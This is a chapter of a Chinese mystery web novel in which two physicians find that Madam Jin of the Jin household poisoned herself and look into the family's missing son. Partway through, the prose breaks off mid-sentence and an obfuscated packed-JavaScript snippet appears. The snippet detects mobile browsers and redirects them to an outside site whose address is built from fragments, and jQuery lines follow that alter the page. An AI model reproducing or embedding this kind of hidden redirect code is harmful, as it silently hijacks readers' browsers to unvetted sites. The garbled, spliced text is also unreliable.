30. 昌定飞云堡梅花庄(4)
作品:《楚间录》 纪绥和白衣听到后立即赶了过去。
“夫人,你怎么样夫人?”金大人抱着嘴角带血,脸色惨白的金夫人,为她顺着背。
见纪绥和白衣来了,立即请她们来看。
纪绥上前为金夫人把脉,怎么会这样,毒竟快侵入心脉了,分明有我施针压制不该是这样的脉象。
看着金地义一脸的急切,纪绥拿出针囊,对金地义说道,“金大人,我先为金夫人施针,她是心脉受损,如今伤及经络才会吐血。”
金地义扶着昏迷的金夫人,将她轻轻地靠在床枕上,“有劳了,南宫神医。”
“无事,程不归已经去拿药了,大人放宽心。”白衣方才进来环视了一圈房间,什么改变都没有,只有金夫人吐血是现在才发作的,立即向药房走去。
连方才通传的小婢女也是今日早上过来为金夫人梳洗的,提前并未进去过。
纪绥每一针都行地十分注意,但心中存疑,这金夫人怎会突然毒发,她没有对金地义说金夫人是毒气攻心造成的吐血,但这心疾确实是陈年旧伤。
多时后,纪绥收好针,她便是再有什么灵丹妙药,都补不回一个人受损这么多年的心脉。
这毒,她本可以解,但看现在这样,这毒怕是不能随意解。
“金大人,我去药房和程不归一同看看夫人的药,现在夫人经络已经稳定了,您不必担心。”纪绥说完,金地义对她点点头,随后认真地看着自己的夫人。
纪绥此时跑到药房,白衣正核对着药渣和药方子。
“有几味我看不出来,但我看过的这些都没问题,金夫人是毒发对不对?”白衣看纪绥过来,放下手中的药罐子。
“你猜的没错,只需看探她体内筋脉即可,全身毒发,攻至心脉。”纪绥觉得这已经不是那位金大人的问题了,而是这整个金府都有问题。
若是毒发至此,不可能再用心疾掩饰,要是真如客栈那几个人所说,这金大人十年前找了一位阮神医来看,可却只发现了心疾。
那便是后来才中毒的,可是李妄言说这金大人因为金夫人身体不好,十年都未离开过昌定,这偌大的金府,毫无人气,又有谁会给金夫人下毒?
而且中毒后已经到了吐血的地步,金府在这中间找的大夫没有一个人查出金夫人实则是中毒?这本就说不通。
“程不归,你昨日在金夫人房门外时,跑了的那人手中有无武器?”纪绥查过金夫人的药没问题,那便不是府中之人在药中二次下毒。
白衣迅速回道,“没有,金夫人房中也没有任何异常。”
“我原以为这人是金地义派去的,原来竟不是。”纪绥说完后,和白衣对视一眼。
现在,排除所有怀疑,剩下的那一种可能,虽然让人有些吃惊,但是也必须承认这个事实。
那就是。
金夫人的毒,是她自己下的。
纪绥拍掉手上的药渣,和白衣快速往回跑,坏了,若是一个人一心求死,那便是大罗神仙来了也不管用。
这金府背后的秘密可能和金诚的消失有直接原因,纪绥有一种很强的直觉,九皇子和金诚一定在一起,金夫人不能死,必须知道昌定飞云堡这些年都发生了什么。
两人赶到之时,金夫人好像在与金大人说着什么,两人都带着泪,但是都笑了。
纪绥眼见来不及了,看准时机,甩出一颗药丸,飞到了金夫人口中,金夫人猛地咽下,苍白的脸色上有些惊讶,随后反应过来便是想要拼命将药丸吐出来。
“金夫人,我能救金诚。”纪绥大声喊了一声。
金夫人又吐出一口血,好歹是停下了,金大人满眼都是无奈,“我不知道你们都是听说了些什么。但这都是报应,都是报应,是老天爷看不下去了在惩罚我们。你们走吧,去让管家给你们结出诊银子。”
眼见金大人执意如此,纪绥和白衣只能暂且离开了金府。
“明明是金家公子,这些时日金府上下却都闭口不提,可是金诚明明去参加了风云大比,怎么会这样,这期间也不过几日。”纪绥方才情急之下想试探金家夫妇,却没想到是这样的结果。
二人一边走,白衣一边说道,“初次到金府我就奇怪,这名医这么多,金地义为何选中了我,我也只不过是想试一试,就进了金府,现在我明白了。”
纪绥接上了下半句话,“因为我们二人都有一个共同点,给自己的身份都是游医,和昌定没有什么关联。”
白衣点了点头,”聪明,你试探金家夫妇,想必也是看到金夫人房中那张奇怪的画。”
“嗯,第一次见那幅画我便觉得奇怪,和房间内其他饰品很不协调,极其突兀,但又怪异的和一切融合在了一起。”
“上面多是一些孩童的玩物,小木剑,还有衣服,寻常人家,有谁会把这些单独入画?”纪绥慢慢说着。
“所以你觉得,我们见到那位金家大公子金诚或许根本不是金家大公子,而是假冒的,这金家,根本没有孩子。”。
“或许,不是没有,而是只有曾经有。”白衣和纪绥说完,正巧碰到刚从皇城司驻地出来的李妄言。
“程神医,你怎么在这。”李妄言见到白衣自如地打招呼。
纪绥保持微笑,就是梅花庄那一日,说了一句这皇城司也不怎么样,至于记仇到现在么。
“李指挥使,我们来是想问问你,这金府的公子去哪了?”白衣温声出言问道。
李妄言有些疑惑,捏了捏剑,“公子?金府没有公子啊,金府多年前只得了位小姐,据说已经嫁人了,不过我被调来昌定时是前几年,那位小姐想必已经出嫁了,也是听说。”
听完后,纪绥眼中闪过一丝震惊之色,白衣倒是有心理准备。
“这金大人不是说了,不知哪里听人说的,随后便把我们赶出来了么。”白衣看向地面,想了想,这谣言谁又说得准呢。
“那这金家小姐,嫁去哪里了?”纪绥追问一句,这李妄言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616644|170609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒是知道的不是很清楚了,“只听说是远嫁,不过听说这金家小姐极爱梅花,当年是在梅花庄出嫁的,你们问这些做什么?”
纪绥丢给李妄言一块令牌,李妄言一看,大吃一惊,立即行礼,竟然是御赐令牌。
白衣在一旁帮腔,“李指挥使,在下本来也是不愿与人一同瞧病的,可这南宫大夫有御赐令牌,在下也只能听从。”
李妄言一拍大腿,这便说得通了,这有本事的神医通常都脾气较为古怪,这程神医原本极为不愿,可为何听了金大人的话那么轻易的答应了。
想来是这位南宫大夫露出了御赐令牌。
看着他好像恍然大悟的样子,纪绥看向白衣,白衣读懂了,李妄言这种如此单纯还会自己给自己解释的皇城中人不多了。
他是怎么当上这皇城司分指挥使的。
此事一想便漏洞百出,就算是纪绥露出令牌,白衣都看到了难道这位金大人看不到?若是京中那些人,怕是早就看出他们先前便认识。
只不过这御赐令牌倒是真的不能再真,离京时皇帝给的,纪绥将令牌收好。
“那店小二可还在?”纪绥看着李妄言问道。
李妄言回答的倒是很快,“岳林杀了金夫人的婢女,也查清楚了客栈的底细,那店小二既然不是凶手,收录了信息后,我便放人了。”
“走。”白衣和纪绥对视一眼,这店小二虽然没杀人,不代表他什么都不知道。
李妄言跟着纪白二人来了梅花庄,“难道这店小二还有问题?”
白衣沉声答道,“去那客栈看看就知道了。”
果然,到客栈中早已人去楼空。
“那晚的人是这个店小二。”白衣虽然没有见过,可现如今推出来并不难。
纪绥也想到了,立即追问李妄言,“这昌定是金大人管辖?那为何有人说他家财万贯,寻常官员哪里来的这么多钱财。”
李妄言听到这话顾不上懊悔那么轻易地放走了店小二,回道,“这金大人不是朝廷命官,而是这里的富商,但他和夫人二人都极心善,昌定自十年前的饥荒后便发展不好,百姓们过得都比较清贫。”
“我来这里时查阅过卷宗,发现这十年调任的地方官员,不是突然辞官就是生病故去,因而后来大家都举荐金大人管着昌定,可也没个正式的音讯,昌定不起眼,上一任地方官离职后,便一直拖延到现在,还没有官员补上地方知府的位置。”
“唉,这也是昌定现如今如此萧条的原因,大家都说这地方没有官运呢,你听到的多半是酒后之人胡说的话,这金府家财万贯也是以前了,现在一年不如一年了。”
李妄言说完,纪绥是不信这些的,气运可能会存在,但是这么多任地方官频频出现问题,那便不是天意而是人为了。
“看来今晚得再去一趟金府了。”纪绥握紧手中的棠落剑。
“我也去。”李妄言此时虽然不知道到底发生了什么,可也知道金府不对劲了。